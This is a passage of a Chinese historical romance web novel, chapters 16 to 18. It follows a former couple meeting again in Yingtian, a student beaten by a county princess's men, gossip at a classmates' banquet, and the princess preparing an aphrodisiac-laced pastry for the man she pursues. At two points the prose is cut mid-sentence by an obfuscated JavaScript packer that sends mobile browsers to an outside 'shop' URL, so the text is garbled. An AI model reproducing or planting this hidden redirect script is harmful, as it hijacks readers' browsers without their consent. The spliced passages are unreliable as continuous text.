然而,当热恋中无数次想象和期待的憧憬,在这样一个猝不及防的时候被推到她的面前来,却都早已失去了当年风光无限的模样。 有些事,错过了再来,到底还是错过了。 两人一前一后走着,相隔一条手臂的距离,人迹罕至的乡间午后静谧,几排错落的矮房陈旧却好似焕发勃勃生气。 方才过来,叶采薇并未注意到这些细节。 “停船暂借问,或恐是同乡。” “什么?”她恍惚,不确定是不是容津岸所言。 这是他们两人第一次正式见面,她对他说的话。 那时候,她单纯地认为,他们只是相逢不相识的同乡而已。 容津岸摇头,问她:“你打算哪天回去?” 说话的时候并未停下脚步,但却在眨眼间,与她几乎并肩。 叶采薇突然发觉,这好像是他们自从重遇以来,两个人私下里,第一次心平气和地说话。 五年的光阴,彼此都对对方的生活一无所知,突如其来的重逢难以掩盖陌生和疏离,只能选择用刺做武器,把自己伪装得无懈可击。 她不是强悍到无畏的圣者,她的记忆和思潮也无法被埋入黄土、立碑列传,当猛烈而清晰的雨水一来,便可以破土而出、野蛮滋长。 “暂时先不回去的。”叶采薇平淡回答。 容津岸这才停下了脚步,他转过身,站在她微微前方的位置,目光投过来,像高峰的雪顶被阳光炙烘后飘起的漫烟。 “要到应天去,陪几个学生参加秋闱。” 她不可能说出实情,只能用离开东流时对叶琛的说辞来搪塞。 父子二人都信了。 “奚子瑜可真是大度,你身为奚家七奶奶,在青莲书院教书、住在书院,甚至学生参加科举,都可以全程陪同。” 晴朗的天空突然阴沉下来,恰若容津岸此刻眼里的迷霾,幽幽传过来。 叶采薇嘴唇发干,想说点什么来缓和两人之间凝滞的空气,却听容津岸又道: “应天有两个国子监的旧人邀我,刚好同你顺路。他们还说奚子瑜也要过去,到时候我们几个同窗,好好聚上一聚。” 叶采薇十分后悔说出口的话。 奚子瑜离开东流数月,她不知其行踪,若是果真如容津岸所说,几人相见,该是多么尴尬? 五年来奚子瑜和梅若雪都帮了她的大忙,她却为了跟容津岸置气,背刺了那样恩爱的夫妇二人。 只有到时候先和奚子瑜碰面,跟他坦白自己的过错,求得他的原谅了。 然而到了应天,没有见到奚子瑜,却碰见了刚刚到达的佟归鹤。 看到叶采薇和容津岸一同前来,佟归鹤的面上五味杂陈,然而该讲的礼貌还是要讲,对自己的老师和容大人行礼道: “这次来的路上,刚好碰见奚家七奶奶,她给了我好多新鲜的豆沙酥让我分给其他同窗,先生和容大人,你们也尝尝?” 叶采薇恨不得找个地缝钻进去。 她身旁的容津岸却神色淡然: “哦?既然是奚家七奶奶的东西,那我可要尝一尝了。” 16. 疼惜 16 话音落地,佟归鹤愣住了。 容津岸向来清冷淡漠,又是人人赞颂的清流领袖,怎么会说出如此轻佻散漫的话来? 像是看穿了他的疑虑,容津岸解释说,自己和奚家七爷奚子瑜是一同在国子监求学的好友,当年两人情同手足,奚子瑜的妻子七奶奶,可以算作他的弟妹。 “弟妹”这个词,被容津岸咬得很重,不知是有意还是无意,叶采薇听来,不由得心头一荡。 好在她与奚子瑜被容津岸误会一事,已经因着偶遇佟归鹤而提前揭破,叶采薇无须要再多说什么,只顺着佟归鹤的到来,和他一同离开。 毕竟,对外她的口径一致,说自己到应天来,是为了陪学生们参加秋闱。 容津岸神色淡淡,倒是再没说什么。 三人各自离开。 应天是南直隶的省城,两百年前本朝开国时,曾为太.祖时期的国都,后来太.宗力排众议迁都至燕京,应天也还保留着八街九陌的繁华富庶。 叶采薇很放心在应天暂歇两日。 这样偌大的城市,再与容津岸偶遇的机会,几乎微乎其微。 至于容津岸所言,奚子瑜也会来应天…… 叶采薇倒是想得很轻松,毕竟那个误会是容津岸自己脑补出来的,以他的脾性,绝不可能与奚子瑜谈起半个字,只能闷着,烂在肚子里。 反正他也闷习惯了,不是吗? 佟归鹤下榻的客栈地处应天的繁华地段,青莲书院的其他几人虽分住不同的客栈,但都相隔很近,抬脚便到了。 想到容津岸,叶采薇最终决定与佟归鹤同住一间客栈,上下两层的客房。 稍稍打点,准备出门。 自从上次重遇容津岸后,几番事情发生,叶采薇便知晓南直隶是不能再待了。这一次,主仆三人离开东流,真正目的是南下寻找新的落脚生根之地,江西或者浙江都可以。 而见雁在绩溪被流寇绑架一事让叶采薇心有余悸,既然在应天暂留,须得寻一个高端可靠的镖局,请两名身强体壮凶神恶煞的镖师,全程护送她们三人。 临出门,却迎面遇上了佟归鹤。 许是外面日头毒辣,匆匆外归的青年满头是汗,他皮肤黑黄,面颊的通红却甚是显眼,看到叶采薇,先行了个礼,急道: “学生方才遇到了那个康和县主,因与她隔了一点距离,并未上前行礼打招呼。” 又言: “她还是和过去一样,那副嚣张跋扈的模样丝毫没改,其实……其实学生有一个疑问,虽然不该问,但实在忍不住。” “上一次在池州,先生帮康和县主赔付了温泉别业的钱老爷整整一万两银,事后,她可有将这笔钱还给先生?” 叶采薇蹙眉,却听她身后的见雁按耐不住,挤上前来,疾首蹙额骂道: “还什么还呀,人影都没见到一个,一分钱不出,把我们家先生当成冤大头!真是肉包子打狗!” 也不怪见雁冲动,口不择言。 那日在徽州知府衙门,叶采薇随容津岸走后,问鹂为了防止见雁说漏嘴,这才将叶采薇在池州三日所发生的事,一五一十告诉了她。 包括重遇容津岸、与康和县主的狭路相逢,以及后来在那个温泉别业的种种。 见雁专管叶采薇的银钱和账目,是个理财能手。她信奉着“有钱万事大吉”,将身外之物看得很重,认为只有把钱财牢牢抓在自己手里,才能安心稳妥。 游秀玉因病仙逝,叶采薇给容津岸五千两的帛金,见雁无话可说;但又莫名其妙赔出去一万两,见雁心痛,她可太心痛了! 虽然这笔钱对她们主仆来说确实不算什么,她家姑娘也向来心善、乐于助人,但这次她帮助的对象—— 康和县主,名不见经传,却是容津岸空虚寂寞了五年,才找到的红颜知己! 容津岸找一个年轻十二岁的红颜知己也就罢了,男人的劣根性、永远喜欢二八芳龄的姑娘,但他竟然还专找跟叶采薇长得像的,这是明里暗里,把她家姑娘当成什么了? 要不是看在绩溪时容津岸出面救了自己一命,见雁早就当面找他理论了!今天,佟归鹤又突然提起那一万两,见雁可就再也忍不住。 佟归鹤一听见雁的话,忍了一路的怒火也“噌”地一下烧了起来,无不激愤道: “我看她穿金戴银,前呼后拥,招摇得很,根本不像囊中羞涩!” 一个尚算俊朗的青年,气得眼冒金星,鼻子都歪了: “堂堂一个县主,怎么能做出如此厚颜无耻的事情呢?先生你放心,这件事由我来出面,你就在客栈里等着,我一定要找她讨一个说法!” 说完,转身就要走。 “佟归鹤!”叶采薇连忙叫住他。 上次在温泉别业,那钱妈妈说的话叶采薇还记得一清二楚。 康和县主的父亲因为犯错,在三皇子那里失了宠,一家人齐齐整整,即将被赶回西南边陲,转眼才大半个月过去,康和县主非但没走,反倒还比先前更要嚣张跋扈,其中根由,自然还是家势跃升。 京中风云变幻,苍狗白云之事,叶采薇自小屡见不鲜。 也正因如此,她才要更加谨慎,当即拿出了身为老师的严厉,教育佟归鹤要以秋闱为重,不可以分心,更不可以为了她而惹是生非。 而佟归鹤站直听训,嘴唇紧闭,青筋凸起,剧烈呼吸声,从他鼻腔中一上一下传出来,每一声都在昭彰着他的愤愤不服气。 “那天晚上的事,老师很感谢你,没有向其他人说过半句。”提起当日的东流她与叶琛在街市买面具被佟归鹤撞破一事,叶采薇顺势变得温柔起来。 这下,她身上那股因严厉的教诲和训诫而生的长辈之感,霎时便烟消云散。 佟归鹤到底是个初出茅庐的弱冠青年,眼见面前的老师温柔典雅,一双杏眼含着盈盈的关切与笑意,那些冲动之下的违逆之言,实在说不出口。 “先生放心,那晚的事,学生一定守口如瓶,烂在肚子里。”佟归鹤信誓旦旦,早已忘记要去找康和县主一事。 话已至尽头,叶采薇多叮嘱几句,说起晚上她做东请大家吃饭之事,佟归鹤答应去通知余人,便各自散去。 整个下午,叶采薇带着问鹂和见雁,主仆三人在应天城中穿梭往来,所幸,并未与康和县主“狭路相逢”。 日落时,她们带着大包小包回到客栈,上楼,路过佟归鹤房间所在的一层,叶采薇停下了脚步。 先前说好,今晚她做东请几个学生吃饭,也不知佟归鹤是否已联系好。 踌躇间,却听有脚步声,由下而上、蹒跚踉跄传来。 见雁好奇,先伸出头去探看,只见方才答应好了要安心温书的佟归鹤,竟然满身狼狈,正一瘸一拐上楼。 佟归鹤虽然五官与容津岸有几分相似,但他的皮肤不像容津岸那样极白,反而生得黑黄。这黑黄的皮肤上到处挂彩,青紫血红一片接着一片,他原本嫳屑飘逸的衫袍到处沾着尘土,头顶的发冠和青丝也乱作一团,无不触目惊心。 叶采薇蹙眉:“你……你这是出了什么事?可还要紧?” 佟归鹤听见声音,抬眼发现被老师看到自己这副披头跣足的难堪模样,骤然躲开视线,声如蚊蚋: “方才在街上,有恶霸仗势欺凌弱小,学生实在看不过眼,便和那几个恶霸动了手。” 他当然不可能说实话。 方才他回到房中,本来是想谨听老师的教诲好好温书,人一坐下,就又忍不住开始乱想。 那个康和县主…… 真是越想越气,越想越气。 康和县主实在是太不要脸,在温泉别业时,面子里子都让她挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730573|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,老师帮了她的大忙,她竟然连一句感谢都没有,转头就把老师抛诸脑后! 他的老师美丽端慧,温柔典雅,大方持谨,腹有诗书气自华,自然是不屑于与这些脑袋空空的小女子一般见识的—— 可他佟归鹤不能忍!若是明知道老师被人占尽便宜却选择忍气吞声,他哪里有脸配称自己男子汉大丈夫,又哪里堪为老师的夫君? 他的决心不会变,等明年会试一过,他就要向老师提亲,即使老师用那个亡夫的儿子做挡箭牌拒绝,他也绝不会退缩! 而现在,他也一定要为老师讨回公道! 怒发冲冠,佟归鹤立刻奔出门去,循向最初碰见康和县主的地方,果然看见了人。 他上前理论,谁知那康和县主恬不知耻,根本不承认有过此事! 佟归鹤据理力争,康和县主的脸一阵红一阵白,她毫无还口之力,便恼羞成怒,让几个喽啰,把佟归鹤狠狠打了一顿。 佟归鹤到底是个只会舞文弄墨的文弱书生,哪里经得起粗手乱拳,很快便被揍得七零八落,眼睁睁看着康和县主扬长而去。 这些,他都绝不可能向自己的老师说明。 叶采薇当然对自己的学生深信不疑,蹙着眉看他一瘸一拐上了楼,等到近前,听他突然问: “老师,你是不是觉得我没用?” 佟归鹤顶着满脸青紫,眼中真诚款款。 不知为何,他这副模样,却让叶采薇恍然想起了叶琛。 叶容安喜静,不似别的稚童那般贪玩好动,但也偶尔有调皮急躁的时候,磕了碰了,明明很疼,却因为自知理亏,在她为他上药时,生生强忍。眼泪在眼眶里打转,实在控制不住,叶容安才不情不愿地吸一吸鼻子。 然后立刻瓮声瓮气问她:“阿娘,你是不是觉得容安没用?” “你呀,怎么会这么想?”叶采薇叹气,面对佟归鹤清澈执拗的眼神: “路见不平能挺身而出,是大勇之举,你若是真像某些人那般,事不关己高高挂起,老师才觉得心寒失望。” 佟归鹤挤出了一丝满足的笑。 然而他不知道的是,就在他满怀心事、一瘸一拐上楼的时候,身后还跟着主仆二人,脚步极轻。 听到叶采薇的话,容文乐不由看向自己的主子。 他是个机灵的,总觉得这话刺耳,像是在指桑骂槐针对容津岸。 但容津岸面不改色。 而佟归鹤心下激荡:“老师,老师,我能不能……” 脸上身上的伤口牵扯,很痛,但他满脸通红,目光追随叶采薇: “我想大胆求求老师,亲手为我包扎伤口,可以吗?” 叶采薇一心想着叶琛,大方笑道:“好。” 说着,四个人便前后入了佟归鹤的房间。 那边声音渐细,楼梯上的容文乐心下打鼓。 其实,今日与叶采薇一并来应天,偶遇佟归鹤的时候,他家大人心情是极好的。以往接待三皇子的人,容津岸总是一副冷淡的面孔,今日却难得有几分的客气。 带着这样的好心情,容津岸亲自到客栈来,接叶采薇去金陵酒楼,赶赴说好的那顿国子监旧友聚餐。 谁知就在楼梯上瞧见了这一出。 “大人,咱们……还上去吗?”容文乐试探问道。 容津岸的视线冷冷扫过来。 容文乐艰难咽下口中的津液。 “原来叶娘子不是奚家七奶奶,孤身一人许多年,那句诗怎么说的,‘窈窕淑女,君子好逑’,佟公子算得上青年才俊,这几年他们师徒二人朝夕相处,他对叶娘子展开追求,是好事一桩。” 又见容津岸面色越来越沉,容文乐赶紧: “其实……佟公子未必是故意卖惨,叶娘子宅心仁厚,就算换作街边的流浪汉,她也定会亲自上手包扎……” 17. 替身 17 傍晚,金陵酒楼门口。 一直到下车的时候,康和县主的脸上还挂着浓烈的怒意。 “县主,莫要往心里去了。”县主的贴身婢女最知她脾性,当然明白她为何生气,小心翼翼扶着她,满脸鄙夷骂道: “那佟归鹤算个什么东西,也配在县主面前大放厥词?再说,钱老爷的一万两,是那姚氏自愿替县主赔偿的,又不是县主求着她赔的,要我们还钱,还什么钱?我们不欠姚氏一分钱!” 一番话振振有词,字字句句骂到了康和县主的心坎,县主头顶那股子晦气一扫而空,她不由喜笑颜开,只觉得脚底生风,往酒楼的步伐都轻快无比。 霉运过去,好事也一桩接着一桩,康和县主刚要上楼梯,转眼便见到了同样正要往楼上走的容津岸。 她又惊又喜。 上次在温泉别业,她险些丢了大颜面不说,津岸哥哥还对她不闻不问,竟抛下她就走。等到再回池州府城,她也再找不到他。 之后,她顾着阿爹京城那边的事情,没有余暇追人,津岸哥哥居然和过去在京城里一样,从她的世界里消失,根本没有主动找过她! 她想不明白。 她装作是他的未婚妻,在姚氏和那帮酸臭学生面前百般炫耀宣示,他都没有拆穿她、甚至连生气都没有生气,分明他也是想要顺水推舟娶她的嘛,怎么还能说消失就消失呢? 这下不可以再让津岸哥哥跑了。 “津岸哥哥!”康和县主娇滴滴喊着,直直就扑了过去。 容文乐替容津岸稍稍挡了挡。 “你什么时候来的应天?好巧!妹妹和你真是天生一对,连吃个饭也能碰上!哎呀,可真是太好了!” 县主的眼珠子都恨不得黏在容津岸身上。 “县主……”容文乐强忍心中不适,努力想委婉地表达自家主子的拒绝。 “津岸哥哥,这家金陵酒楼,是整个应天最好的酒楼,妹妹来过很多次了,”康和县主却对容文乐视而不见,一心追随容津岸, “津岸哥哥想吃什么,妹妹做东请你,妹妹给你点?” 容文乐不胜其烦,偏偏容津岸神色淡淡,看不出是接受还是拒绝,僵持之下,容文乐忽然听到身后传来另一个男声: “仲修,来了怎么不先上去?” 来人绕到近前,又睇了跟在容津岸身后的康和县主一眼,然后对容津岸意味深长地笑道: “既然仲修多带了一个人来,可要好好跟我们介绍介绍了。五年不见,有好多话,想听你亲口说一说呢。” *** 聚餐在金陵酒楼的三楼,一处相对僻静的包厢。 容津岸没说拒绝,康和县主自然喜滋滋跟着他一并入了席。 参加这次聚餐的几人,都是当年与容津岸一同在国子监求学的同窗。嘉泰四十四年三月的会试,他们俱是取得不等的功名,再之后被外放至旧都应天所在的南直隶为官,虽远离权力中心,却也因为辖地富庶繁华而混得盆满钵满,个个大腹便便,脑满肠肥。 与他们相比,清瘦挺拔的容津岸,更是鹤立鸡群。 几人都带了各自的正室夫人,加上容津岸与康和县主,刚好一桌坐满。 同窗欢聚,推杯换盏把酒言欢,最先聊起的也是往昔旧事。 到了嘉泰帝这一朝,国子监早已不复太.祖初建时的欣欣向荣,绝大部分学子都是通过恩荫等特殊渠道入的学,像容津岸这样凭借真才实学、由地方推举上来的,几乎寥寥。 也正因为如此,从入学起,容津岸便不与他们为伍,几人油腻腻说起的那些旷课、打架、抄作业、考试作弊,还有纵情声色吃喝赌.博等等之事,容津岸一概没有参与过。 酒过三巡,有人发现容津岸只淡淡吃着茶,想起当初和如今的区别,不由将话题扯到了容津岸的身上: “瞧我们,这几年混得人模狗样,经常聚会,聊来聊去都是那些话,仲修第一次到应天来,就把人家晾着。” 容津岸放下茶盏: “忆往昔峥嵘岁月稠①,挺好。” 有人接过话来,酒意上头,言语也多了放肆: “还得是仲修,长得好、文章好,就连钻营人脉,也是个中高手。” 出身显贵大族的纨绔们,生平最看不得寒门子弟凭借真本事一跃飞升,尤其是容津岸这样的翘楚,又恰好容津岸并非全无污点,那人说起来,便更加鄙夷和轻狂。 “我们算什么,还在吃喝玩乐挥霍青春的时候,仲修已经攀上了高枝,有了叶渚亭这个好丈人,让陛下也爱不释手。” 那人闷头一杯,烈酒入喉,咂着嘴,舌头打结: “叶渚亭出了那么大的事,也没影响你的前程。从辽东回来连升三级做了礼部侍郎,第二年还升了礼部尚书、第三年直接入阁成了天子近臣,二十五岁的礼部尚书、二十六岁的内阁阁老啊,一句‘年少有为’,我都嫌夸得不到位……” 那溢出酒盏的嫉妒,康和县主自然也听得出来。 她原想开口维护她最爱的津岸哥哥,又一看在座之人,只能撇撇嘴,咽了下去。 他们可不是佟归鹤那样的毛头书生,基本上都是三皇子齐王殿下在南直隶的爪牙,她家能有今日正是倚仗了三皇子的权势,可不好在外面惹出祸端。 容津岸仍旧只淡淡吃茶,场面一时陷入尴尬。 有人长袖善舞,两三句话岔开话题,扯到家宅后院、子女教养上。 刚好桌上的几位夫人方才听得昏昏欲睡,一聊到这些她们的专属话题,一个个都来了兴致。 饭桌上的阴霾一扫而空。 有人见康和县主明媚张扬,却不参与桌上的话题,主动问她: “县主,你与仲修的好事何时能成?” 康和县主的脸骤然红透,容津岸却突然站起身:“有点闷,出去透透气。” “其实仲修他一直都这样,对谁都冷淡,用鼻孔看人。”说话的那个,是最初在楼下偶遇容津岸与康和县主的,“能把县主带到我们的饭局上来,他已经不是过去的容仲修了,县主,还是你有本事。” 康和县主的脸红得更加厉害,听他又说: “刚才在楼下,我一见到县主,就知道仲修为什么要选你了。听京城的同侪说,这五年来仲修孑然一身,谁都看不上眼,栽在县主的手里,算是他应得的。” 这话听来舒坦极了,康和县主羞赧无比,低低笑道:“这样最好了。” “是啊,刚才一晃眼,我还把你认做了叶大姑娘,哦不,叶采薇已经和容津岸和离五年,应该喊她叶娘子才对。”那人晃晃悠悠,猛地摇头, “我再一看,才发现实在荒谬。叶娘子今年二十有四,人老珠黄,青春不在,县主你不一样,二八年华,正是如花似玉的时候,我竟然也能看错,真是罪过罪过。” 说完,又端起酒盏,向康和县主敬了一杯。 而他的夫人已经脸色大变,在桌下死命掐他大腿:“死鬼你喝多了吧,不会说话就别说,闭上你的臭嘴!” 这人出了名的妻管严,平日里被这位正室夫人欺压威吓惯了,今日难得借着酒劲发作,张脸就吼回去: “你个妇道人家懂个屁!别长着对耳朵,一天天听到什么都以为我在讽刺你人老珠黄!我、我这是在夸县主花容月貌、冰雪可人,叶氏一个罪臣之女,又是仲修的下堂妻,哪里配和县主比?” 康和县主却只觉得内心翻江倒海,他们夫妻两人的争吵嗡嗡作响,一句也听不进去。 她黑着脸站起来:“我突然胃口不好,你们慢慢吃。” 等到人走,饭桌上的争吵还没停止,刚才那个讥讽容津岸的人听不下去,声量提高: “你就说你贱不贱?嗯?任谁来,打眼一看,会不知道这位县主娘娘长得像叶采薇?” “人家自己都不在乎当替身,你非要把这层窗户纸捅破干什么?这下好了,人家下不来台,别说这县主娘娘的亲爹最近在三皇子面前得脸,就光是她回头到容津岸面前哭一哭,够我们在座几个喝上一壶的了!” “怕什么,因为前几个月的妖书案,容津岸已经退出了内阁,而且他现在在丁忧,也没个正差,手、手应该是伸不了这么远的……”妻管严自己把自己说得没了底气,梗着脖子: “你们就说说,这是怎么回事?” “当年全京城,谁不知道容津岸和叶采薇互相看不顺眼?后来叶渚亭出事,容津岸不就是为了报答叶渚亭的栽培,才娶了叶采薇吗?他们成亲几个月就和离了,容津岸肯定早就受够,怎么一转眼过了五年,他还专门找一个跟叶采薇长得像的替身回来?” 这话一说,满桌的嘈杂突然停下来。 好像这个自相矛盾的问题,大家从来没有往深处想过。 就在众人泡在酒臭中面面相觑时,一个犹疑的声音,打破了僵局: “……其实,我倒是知道一点内情的。” 说话的这位,这五年以来的仕途最顺,是在场唯一一位当年同样受叶渚亭单独照拂的学子,是与容津岸和叶采薇货真价实的同窗,与两人都更加相熟。 在座之人也知晓这层关系,纷纷看向他: “既然有内情,可被卖关子!我们可是最喜欢听这些了,快点快点!” 明知道所有人都在好奇催促,那人却慢吞吞端起杯中酒,仰头一饮而尽,仿佛下了很大决心,打了一个酒嗝: “像你们,那些外面的人,都以为他俩是互相看不顺眼的死对头。” 然后故意一顿: “其实,他们两人郎有情妾有意,背地里打得火热,早就私定过终身。” 饭桌上传来一片倒吸凉气的声音。 “我们在叶府中上课的时候,经常都是所有人一起吃饭。同一张桌子,表面上井水不犯河水,”那人挤了挤沟壑纵深的眼: “桌面之下,偷偷相互摸手,就像这样。” 说着,那人把他夫人的手拉起来,单手握着,一根一根揉她的手指,从指节到指根。 明明只是简单的动作,两人的手却仿佛沁出了蜜糖,还拉着黏津津湿哒哒的丝。 桌上另外几位夫人的脸色统统变得暧昧起来,被拉手的夫人也满脸通红,抽回手来,难掩娇嗔: “哎呀呀,大庭广众之下……” 男人们眼睛瞪得像铜铃,根本没有注意到自家夫人的变化,只顾着去捡自己掉在地上的下巴: “他?容津岸?你确定你没有喝多?” 纷纷难以置信: “容津岸,他他他……当初在国子监,他可是衣冠楚楚,克己复礼,仗着确实有本事,对谁都冷冷淡淡的……容津岸,你说他?” “你们真当他是什么清心寡欲的正人君子呢?”那人又打了个酒嗝,肉脸酡红,仿佛在嘲笑旁人的浅薄无知,笑说: “有一回天气好,叶渚亭带我们去郊游采风。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730574|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两人一前一后离了大队,我心里突然有了点想法,就借口方便到处看看,找了一大圈,你们猜怎么着?容津岸和叶采薇躲在一个角落的竹林里接吻,那动静……用天雷勾地火来形容,都一点也不夸张。” 饭桌上顿时一片啧啧连声,高低惊叹。 “那你说,既然他们两个当初爱得痴痴缠缠,为什么成亲后半年,说和离就和离了?还断得那么干净?”有人又提出疑问。 “据说是因为,容津岸背地里跟那位嘉柔公主不清不楚的。嘉柔公主可是赵贵妃的女儿、三皇子的胞妹,当年叶渚亭还没出事的时候,叶采薇就跟她不对付,转眼又和容津岸搅在一起,叶采薇的脾气哪里受得了,天天在家里闹得天翻地覆,容津岸忍无可忍,就……” 此刻的包厢之外,康和县主早已陷入混沌,不知他们后面说了什么。 尽管她并不想听,然而这门帘薄薄一层,就算她死死捂住双耳,也实在抵不过那些话语,直直钻入她的心窝,将她割得四分五裂。 容津岸…… 原来她不是他的独一无二。 原来他对她的刮目相看,完全是因为她长得很像叶氏。 原来他并非对所有人都一视同仁的冷漠,也并非真正的清心寡欲,他和叶氏,曾经在最无忧无虑的同窗时代,无人知晓的地方,缠绵至死…… 所以,他看得见她吗? 视线里,容津岸高大清冷的身影走了过来,康和县主满腔的质问憋了许久,正欲上前宣泄倾吐,却听来人说: “上次姚先生替你赔付了钱老爷的一万两,直接把银票给我。” 康和县主没想到他竟然在这时说这种话,几近崩溃,将矜持抛诸脑后,歇斯底里吼道: “容津岸,你怎么能这么对我?” 谁知对方冰冷如洞,好像在看她,眼里却根本没有她,仿佛她还不如那区区一万两,容津岸说: “你们一家仗着三皇子的权势作威作福,要卷铺盖滚回西南,也就是我一句话的事。” 他如同执刑的判官,完全无视她的怆然和凄惶,康和县主眼泪决堤,再也受不了这样的羞辱。 转身离开。 容津岸回到包厢,席上已经讨论起了别的话题,有人见他面不改色,问:“仲修,这么快就把县主送回去了?” 像是试探方才他们的话,有没有被容津岸知晓。 他们并未听见外面的那些。 容津岸重新落座,淡淡的目光逐一扫过席上之人。 所有人陡然莫名一顿,酒意热意灰飞烟灭,冷汗爬上背脊。 “是容某的问题,让大家误会了。”明明是谦逊有礼的自省,却只让人心底生寒。 佩紫怀黄的年轻权臣头角峥嵘,举手投足仿若大权在握,早就不是当年那个寒窗苦读的清隽书生了。 “康和县主与我并无任何私交,我身负重孝,也绝无可能与无关之人谈婚论嫁。”容津岸道,“今晚那些不合时宜的话,就请烂在这张饭桌上,若被有心之人听了去,恐怕会耽误诸位的锦绣前程。” 夜晚的应天,不知从何时起暴雨瓢泼。 康和县主坐在回去的马车上,眼泪却比外面的雨还要汹涌。 她想起了第一次见容津岸时的情景。 那是今年的春末,因着与三皇子之母赵贵妃的表亲关系,她随着父母从西南边陲入京,得到陛下的接见,还被破格封了县主。 那天也下着这么大的雨,她怀着满心欢喜,自庄严肃穆的皇宫中出来。 暮色暗合,华灯初上,朦胧水汽将整个京城笼上靡靡蔼蔼的湿意,混沌错落。 马车转角,行至宫城外的街市,路过一处衙门,只见门口台阶上,数人往来纷纷,形色匆匆。 侍从跟班们都是来接自家主子下职的,头发和衣衫几乎湿透,撑伞的动作殷勤恳切,生怕淋湿了主子,而那些官爷个个面露不悦,无非是埋怨加班太迟或是突临的暴雨。 唯有容津岸一人执伞,不疾不徐拾级而下,仿佛与周遭的混乱纷杂,不处一个世界。 他身穿一袭紫蓝官袍,胸前补子绣着飞天仙鹤,明明是浓墨重彩的颜色,却不见老沉,反而衬得他更加泓峥萧瑟。 容津岸眉眼清俊深邃,似笼在濛濛烟雨,又似染了煌煌灯火的懒,光是站在那里,已经足以让康和县主心跳如雷。 那一刻,她很想在暴雨中,为他跳下马车。 从此之后,她成了他最虔诚的信徒。 无论他对她如何冷待,只要能看见他,她便心满意足。 甚至他离京丁忧,她也不管不顾追随他而来。 “县主,你别哭了好不好?”婢女急得上蹿下跳,“到底发生了什么事啊?你不是和容大人一起参加他同窗的聚餐吗,怎么容大人没有亲自出来送你?” 方才在酒楼,康和县主一见容津岸就甩开了她,后来开席,所有的婢仆都没有进去随侍。 再后来,就看见康和县主哭得梨花带雨地奔了出来。 倾盆暴雨未停,康和县主伤伤心心地痛哭一场,却是比雨要先停。 “一万两,凑一万两的银票,应当没问题吧?”她红肿着眼问婢女。 婢女一顿,反应过来:“县主,你不会真的要把一万两还给姚氏吧?” 康和县主却摆了摆手: “另外,再给我准备足量的暖情合.欢之药,这一次,我一定要让津岸哥哥为我欲.仙.欲.死。” 18. 药性发作 18 应天的大雨下了整日整夜,直到第二日的日晡时分,仍未有停歇。 大雨中,一辆华美贵丽的马车停在府衙门口,却迟迟不见有人下车。 马车之中,康和县主手持镶嵌玳瑁的菱花铜镜,反复自照,欣赏着镜中自己精心打扮的花容月貌。 可以说,为了这一场会面,她从头发丝武装到了脚趾缝。 “你说,本县主这般天生丽质,貌美如花,若是再主动投怀送抱,津岸哥哥一定会回心转意的吧?”刻意高挑的细眉难掩得意之色。 又想起什么,冷哼一声: “当年一定是那叶采薇不知羞耻,用尽了下作手段,津岸哥哥才中了她的奸计被她所迷,根本没有动真心!” 婢女当然知晓她的心思,眯着眼夸道: “县主你独一无二,叶氏那等贱.人,岂是可以与你相提并论的?县主你可是用玫瑰花瓣整整沐浴了三遍,从里到外每一件衣裳,都是娇滴滴香喷喷的,就连奴婢看了,都忍不住心动呢!” “奴婢敢保证,只要容大人一见到县主,保管被县主你迷得如痴如醉,根本舍不得撒手!” 一想到昨晚在避火图上看到的那些活色生香,和津岸哥哥温香软玉、绵绵情意,康和县主心头的小鹿扑腾扑腾乱撞,脸颊红透,羞答答地捏了捏婢女的上臂。 食盒中的四叶奶黄酥,放了足量的暖情合.欢之药,任谁吃两口,都会情不自禁情动不已。 康和县主提上食盒,示意婢女为她撑伞,两人下车。 大雨中视线模糊,主仆二人刚刚走出马车的车厢,康和县主却眼尖,一下认出,前方台阶上的背影,是昨晚在金陵酒楼一同吃饭的其中一位夫人。 这位夫人的夫君姓万,就是昨晚饭局上最先开口嘲讽容津岸“善于钻营人脉”的那位,平日里在私下便已时常就此发牢骚,倒是不知容津岸与叶采薇的私事。 也正基于此,万夫人想到昨晚那波折丛生的饭局,至今仍旧心有余悸,是以,面对康和县主的亲昵和主动,她根本招架不住。 “哎呀,还是我年轻不懂事,跟容大人闹小姑娘脾气。虽然呢,他比我大了整整一轮,但我也不能因此恃宠生娇,事事都指望他无底线的包容,男人嘛,男人的面子有多重要?” 康和县主乖巧得很, “容大人因此恼了我,把我一个人丢下跑过来办差,事业为重。我冷静下来一想,原是我的错,就赶紧亲手做了他最爱的四叶奶黄酥,过来真心实意地赔礼道歉。” 一番姿态极低的柔弱攻势下来,见万夫人神色松动,康和县主又将手中提着的食盒往上掂了掂,笑得格外天真: “容大人他还在恼我,必不会愿意见我,但夫人你不一样……” 万夫人耳根子软、心肠也特别软,别人说什么她都能信,昨晚饭局上得到的消息真真假假,再一看今日如此大的雨,康和县主一个金尊玉贵的小姑娘,不仅亲自下厨,还冒着大雨亲自跑到府衙来向容津岸赔礼,又乖又可怜,二话不说便答应了下来。 俗话说得好,“宁拆十座庙,不毁一桩婚”,昨晚容津岸多半是气上了头,人家小两口的事,她当然乐于撮合。 万夫人是官太太,康和县主又是三皇子那边的人,府衙哪里敢拦。两人肩并肩往里走,快要到容津岸的值房门口,康和县主见容文乐守在外面,便拉了万夫人躲在一旁,赧赧道: 